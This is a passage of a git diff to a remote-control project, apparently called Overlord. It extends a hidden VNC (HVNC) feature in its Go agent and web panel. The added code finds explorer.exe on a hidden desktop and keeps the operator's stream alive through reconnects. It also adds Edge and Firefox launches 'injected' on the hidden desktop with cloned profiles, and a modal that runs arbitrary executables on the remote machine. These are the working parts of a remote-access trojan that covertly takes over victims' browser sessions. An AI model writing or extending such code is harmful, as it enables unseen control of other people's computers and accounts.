hvncWorkingWindow = 0 + hvncInputMu.Unlock() + if hvncDesktopHandle != 0 { if hvncOriginalDesktop != 0 { procSetThreadDesktop.Call(hvncOriginalDesktop) @@ -817,19 +848,7 @@ func hvncAutoStartExplorerOnThread() error { return nil } - found := false - hwnd := getTopWindow(0) - for hwnd != 0 { - var pid uint32 - procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid))) - if pid != 0 && isExplorerPID(pid) { - found = true - break - } - hwnd = getWindow(hwnd, GW_HWNDNEXT) - } - - if found { + if isExplorerRunningToolhelp() { log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start") hvncExplorerStarted = true return nil @@ -866,6 +885,41 @@ func isExplorerPID(pid uint32) bool { return strings.HasSuffix(name, `\explorer.exe`) } +func isExplorerRunningToolhelp() bool { + const TH32CS_SNAPPROCESS = 0x00000002 + snap, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(TH32CS_SNAPPROCESS, 0) + if snap == 0 || snap == ^uintptr(0) { + return false + } + defer procCloseHandle.Call(snap) + + type processEntry32 struct { + dwSize uint32 + cntUsage uint32 + th32ProcessID uint32 + th32DefaultHeapID uintptr + th32ModuleID uint32 + cntThreads uint32 + th32ParentProcessID uint32 + pcPriClassBase int32 + dwFlags uint32 + szExeFile [260]uint16 + } + + var pe processEntry32 + pe.dwSize = uint32(unsafe.Sizeof(pe)) + ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snap, uintptr(unsafe.Pointer(&pe))) + for ret != 0 { + name := strings.ToLower(syscall.UTF16ToString(pe.szExeFile[:])) + if name == "explorer.exe" { + return true + } + pe.dwSize = uint32(unsafe.Sizeof(pe)) + ret, _, _ = kernel32.NewProc("Process32NextW").Call(snap, uintptr(unsafe.Pointer(&pe))) + } + return false +} + func hvncMouseMoveOnThread(display int, x, y int32) error { bounds, _ := hvncResolveCaptureBounds(display) if bounds.Dx() <= 0 || bounds.Dy() <= 0 { diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index c87011f..074fcb6 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -9,13 +9,42 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const clientLabel = document.getElementById("clientLabel"); clientLabel.textContent = clientId; - const ws = new WebSocket( - (location.protocol === "https:" ? "wss://" : "ws://") + + let ws = null; + let reconnectTimer = null; + let reconnectDelay = 1000; + const maxReconnectDelay = 15000; + + function buildWsUrl() { + return (location.protocol === "https:" ? "wss://" : "ws://") + location.host + "/api/clients/" + clientId + - "/hvnc/ws", - ); + "/hvnc/ws"; + } + + function connectWs() { + if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; } + ws = new WebSocket(buildWsUrl()); + ws.binaryType = "arraybuffer"; + ws.addEventListener("open", onWsOpen); + ws.addEventListener("message", onWsMessage); + ws.addEventListener("close", onWsClose); + ws.addEventListener("error", onWsError); + } + + function scheduleReconnect() { + if (reconnectTimer) return; + reconnectTimer = setTimeout(() => { + reconnectTimer = null; + setStreamState("connecting", "Reconnecting"); + connectWs(); + reconnectDelay = Math.min(reconnectDelay * 1.5, maxReconnectDelay); + }, reconnectDelay); + } + const latencyEl = document.getElementById("latencyDisplay"); + let lastInputSentAt = 0; + let lastLatencyMs = 0; + const displaySelect = document.getElementById("displaySelect"); const refreshBtn = document.getElementById("refreshDisplays"); const startBtn = document.getElementById("startBtn"); @@ -37,8 +66,6 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const agentFps = document.getElementById("agentFps"); const viewerFps = document.getElementById("viewerFps"); const statusEl = document.getElementById("streamStatus"); - ws.binaryType = "arraybuffer"; - let activeClientId = clientId; let renderCount = 0; let renderWindowStart = performance.now(); @@ -56,6 +83,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; let lastMoveSentAt = 0; const mouseMoveIntervalMs = 33; const inputBackpressureBytes = 256 * 1024; + let h264ErrorCount = 0; + let h264RetryTimer = null; const storedCodecPref = localStorage.getItem(codecPrefKey); if (storedCodecPref === "0") { @@ -147,7 +176,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } function updateControls() { - const wsOpen = ws.readyState === WebSocket.OPEN; + const wsOpen = ws && ws.readyState === WebSocket.OPEN; const isStarting = streamState === "starting"; const isStreaming = streamState === "streaming"; const isStopping = streamState === "stopping"; @@ -259,7 +288,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; console.warn("No active client selected"); return; } - if (ws.readyState !== WebSocket.OPEN) { + if (!ws || ws.readyState !== WebSocket.OPEN) { return; } const msg = { type, ...payload }; @@ -342,16 +371,30 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; function fallbackToJpegCodec(reason) { if (!prefersH264) return; + h264ErrorCount++; prefersH264 = false; destroyVideoDecoder(); if (codecH264) codecH264.checked = false; - localStorage.setItem(codecPrefKey, "0"); - console.warn("hvnc: falling back to jpeg codec", reason || ""); + console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount); const q = Number(qualitySlider?.value) || 90; setCodecModeLabel("jpeg", "fallback"); - if (ws.readyState === WebSocket.OPEN) { + if (ws && ws.readyState === WebSocket.OPEN) { sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" }); } + if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") { + if (h264RetryTimer) clearTimeout(h264RetryTimer); + h264RetryTimer = setTimeout(() => { + h264RetryTimer = null; + prefersH264 = true; + if (codecH264) codecH264.checked = true; + setCodecModeLabel("h264", "retry"); + if (ws && ws.readyState === WebSocket.OPEN) { + pushQuality(qualitySlider?.value || 90); + } + }, 5000); + } else if (h264ErrorCount > 3) { + localStorage.setItem(codecPrefKey, "0"); + } } function isH264KeyFrame(data) { @@ -465,7 +508,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; }); } - ws.addEventListener("message", async function (ev) { + async function onWsMessage(ev) { if (ev.data instanceof ArrayBuffer) { const buf = new Uint8Array(ev.data); if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) { @@ -596,6 +639,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; handleCloneProgress(msg); return; } + if (msg && msg.type === "hvnc_error") { + console.error("hvnc: server error:", msg.error || msg.message); + return; + } return; } @@ -608,34 +655,48 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; handleCloneProgress(msg); return; } - }); + if (msg && msg.type === "hvnc_error") { + console.error("hvnc: server error:", msg.error || msg.message); + return; + } + } - ws.addEventListener("open", function () { + function onWsOpen() { + reconnectDelay = 1000; if (qualitySlider) { pushQuality(qualitySlider.value); } clearOfflineTimer(); - setStreamState("idle", "Stopped"); + if (desiredStreaming) { + setStreamState("starting", "Resuming stream"); + if (displaySelect && displaySelect.value !== undefined) { + sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 }); + } + sendCmd("hvnc_start", { autoStartExplorer: false }); + } else { + setStreamState("idle", "Stopped"); + } fetchClientInfo().then(() => { if (displaySelect && displaySelect.value) { - console.debug("hvnc: initial select display", displaySelect.value); - sendCmd("hvnc_select_display", { - display: parseInt(displaySelect.value, 10), - }); + sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) }); } }); - }); + } - ws.addEventListener("close", function () { - desiredStreaming = false; + function onWsClose() { destroyVideoDecoder(); - setStreamState("disconnected", "Disconnected"); - }); + if (desiredStreaming) { + setStreamState("connecting", "Reconnecting"); + scheduleReconnect(); + } else { + setStreamState("disconnected", "Disconnected"); + } + } - ws.addEventListener("error", function () { + function onWsError() { destroyVideoDecoder(); setStreamState("error", "WebSocket error"); - }); + } if (!frameWatchTimer) { frameWatchTimer = setInterval(() => { @@ -754,7 +815,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; }); function stopOnExit() { - if (ws.readyState === WebSocket.OPEN && desiredStreaming) { + if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) { desiredStreaming = false; sendCmd("hvnc_stop", {}); } @@ -818,20 +879,68 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning }); + } else if (action === "start-firefox") { + const clone = document.getElementById("hvncCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; + sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning }); } else if (action === "start-custom") { - const exePath = prompt("Enter exe path (required)"); - if (!exePath) { - hideContextMenu(); - return; - } - const args = prompt("Enter arguments (optional)") || ""; - const cmd = args.trim() ? `\"${exePath}\" ${args}` : `\"${exePath}\"`; - sendCmd("hvnc_start_process", { path: cmd }); + hideContextMenu(); + showCustomExeModal(); + return; } hideContextMenu(); }); }); } + function showCustomExeModal() { + let overlay = document.getElementById("hvncCustomExeOverlay"); + if (overlay) { overlay.remove(); } + overlay = document.createElement("div"); + overlay.id = "hvncCustomExeOverlay"; + overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60"; + overlay.innerHTML = ` +
+
Run Custom Executable
+ + + + +
+ + +
+
`; + document.body.appendChild(overlay); + const pathInput = document.getElementById("hvncCustomExePath"); + const argsInput = document.getElementById("hvncCustomExeArgs"); + pathInput.focus(); + function close() { overlay.remove(); } + document.getElementById("hvncCustomExeCancel").addEventListener("click", close); + overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); }); + function run() { + const exePath = pathInput.value.trim(); + if (!exePath) return; + const args = argsInput.value.trim(); + const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`; + sendCmd("hvnc_start_process", { path: cmd }); + close(); + } + document.getElementById("hvncCustomExeRun").addEventListener("click", run); + pathInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); argsInput.focus(); } }); + argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } }); + } + + function updateLatencyDisplay(ms) { + lastLatencyMs = ms; + if (latencyEl) { + latencyEl.textContent = `${Math.round(ms)}ms`; + } + } + + connectWs(); fetchClientInfo(); })(); diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 3bdfbb8..e7a7794 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -114,6 +114,9 @@ -- + | + lat + --
Start Edge +
Custom